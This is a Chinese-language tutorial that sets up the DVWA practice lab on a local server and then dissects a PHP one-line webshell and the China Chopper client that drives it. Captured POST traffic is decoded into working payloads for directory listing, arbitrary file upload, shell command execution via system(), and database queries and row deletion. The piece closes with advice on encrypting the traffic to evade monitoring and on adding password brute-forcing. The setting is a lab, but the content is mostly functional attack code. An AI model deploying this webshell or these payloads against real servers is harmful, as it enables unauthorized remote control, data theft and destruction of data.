DVWA
0x00 概述
在測試一些web工具時,需要某個web應用作為我們的靶機,這時候就首選以前學校里用過的系統DVWA(Damn Vulnerable Web Application)。
DVWA是一款基于php&mysql編寫的用于常規WEB漏洞教學和檢測的web脆弱性測試web應用。其中包含了SQL注入,盲注,文件包含,XSS,CSRF等一些常見的WEB漏洞,對于我們進行Web滲透有較強的指導教學意義。
0x01 安裝配置
我的安裝環境是Ubuntu+apache2+php+mysql
先把這些工具都從可以通過apt-get下載安裝。
sudo apt-get -y install apache2 mysql-server php5 php5-mysql php5-gd
隨后把官網下載下來的DVWA web應用部署在用戶目錄中,我這里的路徑是/home/crazydog/workspace/src/DVWA-1.9
。
隨后就得開始對DVWA進行配置了。我們將DVWA配置在apache2中。
首先在apache的目錄下,修改ports.conf
,該文件是apache2監聽的端口。于是我們仿照Listen 80
在其后添加了一句話Listen 2333
,說明讓apache去監聽2333端口,該端口隨后將用于接收對DVWA的訪問。
隨后設置DVWA在apache中的VirtualHost虛擬主機。我們在觀察apache2.conf配置文件時,會發現配置文件中包含了sites-enabled
文件夾下的內容,而該文件夾下都是一些對于每個web應用使用的虛擬主機的配置,都是一些軟連接,其實際文件處于sites-avaiable
文件夾中。故我們將000-default.conf文件復制一份,命名為dvwa.conf,并將文件修改為:
<VirtualHost *:2333>
ServerAdmin webmaster@localhost
DocumentRoot /home/crazydog/workspace/src/DVWA-1.9
<Directory /home/crazydog/workspace/src/DVWA-1.9>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
該虛擬主機用DocumentRoot /home/crazydog/workspace/src/DVWA-1.9
指明了web應用的根目錄,用<Directory />
指明了web應用對目錄/home/crazydog/workspace/src/DVWA-1.9
的訪問權限,此處,文應用對該目錄具有全部權限。虛擬主機所處的端口為2333。
這樣的設置后,我們使用命令sudo a2ensite dvwa
即可啟用web應用DVWA,隨后sudo service apache2 reload
即可載入應用。
頁面為localhost:2333/setup.php
或localhost:2333/index.php
首先進入設置頁面,需要對DVWA應用所需要的數據庫進行創建與初始化。這時候我們是沒有相關用戶和數據庫的。
首先進入mysql去創建數據庫dvwa。
mysql -u root -p
mysql> create database dvwa;
隨后創建新用戶dvwa,密碼123456
mysql> insert into mysql.user(Host,User,Password) values("localhost",'dvwa',password('123456'));
mysql> flush privileges;
隨后修改dvwa用戶針對數據庫dvwa的相關權限
mysql> grant all privileges on dvwa.* to dvwa@localhost identified by '123456'
mysql> flush privileges;
接著修改dvwa目錄下的config/config.inc.php
為
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = '123456';
隨后在setup頁面點擊create tables之類的按鈕初始化DVWA。
PS:需要讓hackable/uploads/
以及./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
具有寫權限。
0x02 使用
這里就是登陸了。localhost:2333/login.php
可以用于登陸,登陸后如下。
隨后修改dvwa的安全級別
一句話木馬
0x03 概念
在web服務器的某個web應用根目錄下創建一個網站源碼腳本,即web應用是由php編寫的,那么木馬腳本應由php編寫,該腳本文件中只有一句話的腳本,用戶通過遠程連接該文件,通過POST方式去提交數據,從而完成遠程獲得webshell的訪問權限。
0x04 例子
<?php eval($_POST['skyfucker'])?>
0x05 解釋
eval函數是能夠將其中的參數作為命令行的命令來解釋執行。
其中的_POST['skyfucker']
則是將傳過來的POST body里的skyfucker變量的值獲取出來,相當于一句話木馬客戶端中登陸的密碼。通過這樣,我們就可以將客戶端的數據傳遞過來并作為命令執行了。
中國菜刀
0x06 概述
中國菜刀是一款牛逼的網站管理軟件,通過在web應用的目錄下留下一個一句話木馬,就可以利用這個菜刀客戶端去連接來獲取webshell了。
0x07 使用方法
先是創建連接。
在地址里填寫目標應用中一句話木馬的URL,隨后的空格里填寫客戶端登陸的密碼,就是之前一句話里的skyfucker
。
而在config里填寫的就是數據庫登陸的一些參數了,如果你通過某些途徑知道目標主機的數據庫賬號密碼之類的信息,就可以順利登陸其數據庫了。
隨后展示一下菜刀的能力。
文件管理
文件上傳
遠程shell
數據庫操作
自寫腳本
0x08 原理
就讓我們用wireshark抓包來理解一下菜刀的工作原理。
自寫腳本執行
我們在字寫腳本時,輸入了print("hello world!");
,點擊執行。查看wireshark。可以看到發出的http請求:
從中可見:
[
"skyfucker":"@eval/**/?($_POST[z9]/**/?($_POST[z0]));",
"z9":"BaSE64_dEcOdE",
"z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0\
BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21h\
Z2ljX3F1b3Rlc19ydW50aW1lKDApO2\
VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gd\
29ybGQhIik7O2VjaG8oInw8LSIpO2RpZSgpOw=="
]
這樣的POST數據被一句話木馬的eval解釋執行之后就可以看做是eval(base64_decode($_POST[z0]))
,即對z0的值以base64解碼后執行。那么我們看看base64解碼后的值是個啥。利用base64編碼是為了防止特殊字符傳輸失敗。
解碼后可見結果。
<?php
# 臨時關閉PHP的錯誤顯示功能
@ini_set("display_errors","0");
# 防止像是dir,上傳文件過大時超時
@set_time_limit(0);
# 關閉神奇引號,php4.0后這玩意就不怎么用了,作為傳統保留了下來
@set_magic_quotes_runtime(0);
echo("->|");
;
# 打印字符串
print("hello world!");
;
echo("|<-");
die();
?>
這一段代碼執行完后會把結果->hello world!<-
返回給客戶端。
文件管理-目錄遍歷
隨后是文件管理的目錄遍歷。
從中可見
[
"skyfucker":"@eval/**/?($_POST[z9]/**/?($_POST[z0]));",
"z9":"BaSE64_dEcode",
"z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3J\
zIiwiMCIpO0BzZXRfdGltZV9saW1pdCg\
wKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDA\
pO2VjaG8oIi0+fCIpOzskRD1iYXNlN\
jRfZGVjb2RlKGdldF9tYWdpY19xdW90ZXN\
fZ3BjKCk/c3RyaXBzbGFzaGVzKCRfUE9T\
VFsiejEiXSk6JF9QT1NUWyJ6MSJdKTskRj1Ab\
3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG\
8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5v\
IFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskT\
D1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRG\
KSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0\
tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zd\
WJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApL\
DEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpb\
GVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyK\
CRQKSkkTS49JE4uIi8iLiRSO2Vsc2UgJEwuPSR\
OLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7\
fTtlY2hvKCJ8PC0iKTtkaWUoKTs=",
"z1","L2hvbWUvY3Jhenlkb2cvd29ya3\
NwYWNlL3NyYy9EVldBLTEuOS9kb2NzLw=="
]
這樣的POST數據eval解釋執行后可以看做是eval(base64_decode($_POST[z0]))
。
z0解碼后可得(其中可以通過添加@來隱藏error輸出)
<?php
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
# 獲取z1的值,如果有空格就去除空格,得到路徑
$D=base64_decode(
get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"]);
# 打開該目錄,獲得文件描述符
$F=@opendir($D);
if($F==NULL){
echo("ERROR:// Path Not Found Or No Permission!");
}
else{
$M=NULL;
$L=NULL;
# 讀取該文件描述符對應的信息-文件名
while($N=@readdir($F)){
# 拼接字符串形成目錄下子文件的絕對路徑
$P=$D."/".$N;
# 獲取子文件的filetime
$T=@date("Y-m-d H:i:s",@filemtime($P));
# 返回文件目錄的訪問權限,這里講10進制轉8進制,并取字符串結果的后4字節
@$E=substr(base_convert(@fileperms($P),10,8),-4);
# 屬性字符串=\tfiletime\t文件大小\t訪問權限
$R="\t".$T."\t".@filesize($P)."\t".$E." ";
if(@is_dir($P))
# 該子文件是目錄,則返回文件名/文件屬性+" "
$M.=$N."/".$R;
else
# 否則返回文件名屬性
$L.=$N.$R;
}
# 打印
echo $M.$L;
@closedir($F);
}
;
echo("|<-");
die();
?>
z1解碼后可得/home/crazydog/workspace/src/DVWA-1.9/docs/
,即需要獲得的目錄路徑
該段代碼執行后會將z1中傳過去的文件絕對路徑作為參數,若是文件夾則打印文件名1/文件1屬性 文件名2/文件2屬性 文件名3/文件3屬性
,若是文件則打印文件名1文件1屬性 文件名2/文件2屬性
。(這里可能有些許不準確,望大神指點)
文件管理-上傳文件
這里是文件管理的文件上傳。
從中可見
[
"&skyfucker":"@eval/**/?($_POST[z9]/**/?($_POST[z0]));",
"z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3J\
zIiwiMCIpO0BzZXRfdGltZV9saW1pd\
CgwKTtAc2V0X21hZ2ljX3F1b3Rlc19yd\
W50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYX\
NlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7J\
GM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWN\
lKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKC\
JcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA\
7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZW\
NvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZnd\
yaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjE\
iOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==",
"z9":"BaSE64_dEcOdE",
"z1":"L2hvbWUvY3Jhenlkb2cvd29\
ya3NwYWNlL3NyYy9EVldBLTEuOS9oYWNr\
YWJsZS91cGxvYWRzL2V4aWFHVU5EQU0uanBn",
"z2":"pic"
]
這樣的skyfucker可以看做是@eval(base64_encode($_POST[z0]))
讓我們看看z0的encode64解碼
<?php
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
# 解析絕對路徑名稱
$f=base64_decode($_POST["z1"]);
# 獲得圖片的編碼流
$c=$_POST["z2"];
# 去掉\r
$c=str_replace("\r","",$c);
# 去掉\n
$c=str_replace("\n","",$c);
$buf="";
# 把編碼流每兩個字節前加上‘%’然后url解碼
for($i=0;$i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,$i,2));
# 寫到絕對路徑上
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;
echo("|<-");
die();
?>
如此一來,我們就可以在絕對路徑上上傳文件了。
遠程shell
所謂webshell就是通過web應用獲取一個遠程shell,這里就介紹這個shell是怎么來的。
以下是我們在shell中執行ls
指令抓到的包。
從中可見
[
"skyfucker":"@eval/**/?($_POST[z9]/**/?($_POST[z0]));",
"z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCI\
pO0BzZXRfdGltZV9saW1pdCgwKTt\
Ac2V0X21hZ2ljX3F1b3Rlc19ydW50\
aW1lKDApO2VjaG8oIi0+fCIpOzskbT1n\
ZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRw\
PWJhc2U2NF9kZWNvZGUoJG0/c3RyaXB\
zbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9Q\
T1NUWyJ6MSJdKTskcz1iYXNlNjRfZGVj\
b2RlKCRtP3N0cmlwc2xhc2hlcygkX1BP\
U1RbInoyIl0pOiRfUE9TVFsiejIiXSk7JGQ9Z\
GlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0Z\
JTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwL\
DEpPT0iLyI/Ii1jIFwieyRzfVwiIjoiL2MgXCJ\
7JHN9XCIiOyRyPSJ7JHB9IHskY30iO\
0BzeXN0ZW0oJHIuIiAyPiYxIiwkcmV0KTtwcmludCA\
oJHJldCE9MCk/IgpyZXQ9eyRyZXR9CiI6IiI7O2V\
jaG8oInw8LSIpO2RpZSgpOw==",
"z9":"BaSE64_dEcOdE",
"z1":"L2Jpbi9zaA==",
"z2":"Y2QgL2hvbWUvY3Jhenlkb2cvd29ya\
3NwYWNlL3NyYy9EVldBLTEuOS87bHM7ZWNo\
byBbU107cHdkO2VjaG8gW0Vd"
]
z1是啥?喏,/bin/sh
z2是啥,看 cd /home/crazydog/workspace/src/DVWA-1.9/;ls;echo [S];pwd;echo [E]
skyfucker依舊是那樣用,我們還是來看看z0吧。
<?php
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$m=get_magic_quotes_gpc();
# 獲取z1的內容 就是執行的命令sh
$p=base64_decode($m?stripslashes($_POST["z1"]):$_POST["z1"]);
# 獲取z2的內容,具體要執行的命令,就是腳本
$s=base64_decode($m?stripslashes($_POST["z2"]):$_POST["z2"]);
# 返回當前執行腳本的絕對路徑中的目錄部分
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
# 若絕對路徑以'/'開頭,則是-c方式(linux)執行腳本,否則是/c(win)的方式
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
# 命令組合
$r="{$p} {$c}";
# 執行腳本然后將錯誤信息重定向到標準輸出
@system($r." 2>&1",$ret);
# 返回結果
print ($ret!=0)?"ret={$ret}":"";;
echo("|<-");
die();
?>
這樣就可以實現遠程終端了,當然其他功能也是類似的。
數據庫管理
現在以在DVWA數據庫里遍歷user表為例,展示其原理。
POST的表單內容里填入了以下內容
[
"skyfucker":"@eval/**/?($_POST[z9]/**/?($_POST[z0]));",
"z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCI\
pO0BzZXRfdGltZV9sa\
W1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc\
19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzsk\
bT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q\
9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVF\
siejEiXSk6JF9QT1NUWyJ6MSJdOyR\
1c3I9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiej\
IiXSk6JF9QT1NUWyJ6MiJdOyRwd2Q9JG0/
c3RyaXBzbGFzaGVzKCRfUE9TVFsiejMiXSk6J\
F9QT1NUWyJ6MyJdOyRkYm49JG0/\
c3RyaXBzbGFzaGVzKCRfUE9TVFsiej\
QiXSk6JF9QT1NUWyJ6NCJdOyRzcWw9Y\
mFzZTY0X2RlY29kZSgkX1BPU1RbIno1I\
l0pOyRUPUBteXNxbF9jb25uZWN0KCRoc\
3QsJHVzciwkcHdkKTtAbXlzcWxfcXVlcn\
koIlNFVCBOQU1FUyB1dGYtOCIpO0BteXNxbF9zZW\
xlY3RfZGIoJGRibik7JHE9QG15c3FsX3F1ZXJ5K\
CRzcWwpOyRpPTA7d2hpbGUoJGNvbD1AbXlzcWxfZm\
llbGRfbmFtZSgkcSwkaSkpe2VjaG8oJGNvbC4i\
XHR8XHQiKTskaSsrO31lY2hvKCJcclxuIik7d2hp\
bGUoJHJzPUBteXNxbF9mZXRjaF9yb3coJHEpKXtmb\
3IoJGM9MDskYzwkaTskYysrKXtlY2hvKHRyaW0oJHJ\
zWyRjXSkpO2VjaG8oIlx0fFx0Iik7fWVjaG8oIlx\
yXG4iKTt9QG15c3FsX2Nsb3NlKCRUKTs7ZWNobygif\
DwtIik7ZGllKCk7",
"z9":"BaSE64_dEcOdE",
"z1":"localhost",
"z2":"dvwa",
"z3":"p@ssw0rd",
"z4":"dvwa",
"z5":"U0VMRUNUICogRlJPTSBgdXNlcnNgIE9SREVSIEJZIDEgREVTQyBMSU1JVCAwLDIw"
]
如此一來看看z1~z4都是我們在option里填寫的數據庫參數,如賬號密碼,數據庫,主機等,而z5是SELECT * FROM 'users' ORDER BY 1 DESC LIMIT 0,20
的sql語句。
而z0執行的指令則是:
<?php
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$m=get_magic_quotes_gpc();
# 獲取host user password databsename sql語句
$hst=$m?stripslashes($_POST["z1"]):$_POST["z1"];
$usr=$m?stripslashes($_POST["z2"]):$_POST["z2"];
$pwd=$m?stripslashes($_POST["z3"]):$_POST["z3"];
$dbn=$m?stripslashes($_POST["z4"]):$_POST["z4"];
$sql=base64_decode($_POST["z5"]);
# 連接數據庫
$T=@mysql_connect($hst,$usr,$pwd);
# 設置編碼
@mysql_query("SET NAMES utf-8");
# 選擇數據庫
@mysql_select_db($dbn);
# 執行查詢
$q=@mysql_query($sql);
$i=0;
# 打印表頭
while($col=@mysql_field_name($q,$i)){
echo($col."\t|\t");
$i++;
}
echo("\r\n");
# 打印結果
while($rs=@mysql_fetch_row($q)){
for($c=0;$c<$i;$c++){
echo(trim($rs[$c]));
echo("\t|\t");
}
echo("\r\n");
}
@mysql_close($T);;
echo("|<-");
die();
?>
如此就簡單了
假設說執行刪除語句,還是在user表中。
[ "skyfucker":"@eval/**/?($_POST[z9]/**/?($_POST[z0]));", "z0":"QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJdOyR1c3I9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejIiXSk6JF9QT1NUWyJ6MiJdOyRwd2Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejMiXSk6JF9QT1NUWyJ6MyJdOyRkYm49JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejQiXSk6JF9QT1NUWyJ6NCJdOyRzcWw9YmFzZTY0X2RlY29kZSgkX1BPU1RbIno1Il0pOyRUPUBteXNxbF9jb25uZWN0KCRoc3QsJHVzciwkcHdkKTtAbXlzcWxfcXVlcnkoIlNFVCBOQU1FUyB1dGYtOCIpO0BteXNxbF9zZWxlY3RfZGIoJGRibik7JHE9QG15c3FsX3F1ZXJ5KCRzcWwpO2VjaG8oIlJlc3VsdFx0fFx0XHJcbiIpO2VjaG8oJHE/IkV4ZWN1dGUgU3VjY2Vzc2Z1bGx5ISI6bXlzcWxfZXJyb3IoKSk7ZWNobygiXHR8XHRcclxuIik7QG15c3FsX2Nsb3NlKCRUKTs7ZWNobygifDwtIik7ZGllKCk7", "z9":"BaSE64_dEcOdE", "z1":"localhost", "z2":"dvwa", "z3":"p@ssw0rd", "z4":"dvwa", "z5":"ZGVsZXRlIGZyb20gdXNlcnMgd2hlcmUgZmlyc3RfbmFtZT0nSGFjayc=" ]
z5是這樣的,delete from users where first_name='Hack'
z0是這樣的
<?php
@ini_set("display_errors","0");@set_time_limit(0);
@set_magic_quotes_runtime(0);echo("->|");;$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["z1"]):$_POST["z1"];
$usr=$m?stripslashes($_POST["z2"]):$_POST["z2"];
$pwd=$m?stripslashes($_POST["z3"]):$_POST["z3"];
$dbn=$m?stripslashes($_POST["z4"]):$_POST["z4"];
$sql=base64_decode($_POST["z5"]);
$T=@mysql_connect($hst,$usr,$pwd);
@mysql_query("SET NAMES utf-8");
@mysql_select_db($dbn);
$q=@mysql_query($sql);
echo("Result\t|\t\r\n");
echo($q?"Execute Successfully!":mysql_error());
echo("\t|\t\r\n");
@mysql_close($T);;echo("|<-");die();
?>
以上代碼就不做注釋了,基本上和前一段查詢差不多。
0x09 優勢劣勢
優勢
- 基本滿足多項滲透后遠程操作,使用簡單方便
- 本身提供GUI,能夠快速完成入侵
- 能夠控制控制服務器執行自定義命令
劣勢
- 閉源
- 程序的擴展依賴于自定義腳本功能,對php能力要求高
- 需要在服務器上部署一句話腳本,容易被掃描
- 通信未加密,不安全,容易被流量監測
- 連接數據庫需要知道數據庫賬號密碼,缺乏一些有效的爆破手段
建議
- 添加對通信的加密封包
- 集成一些現有的數據庫密碼爆破手段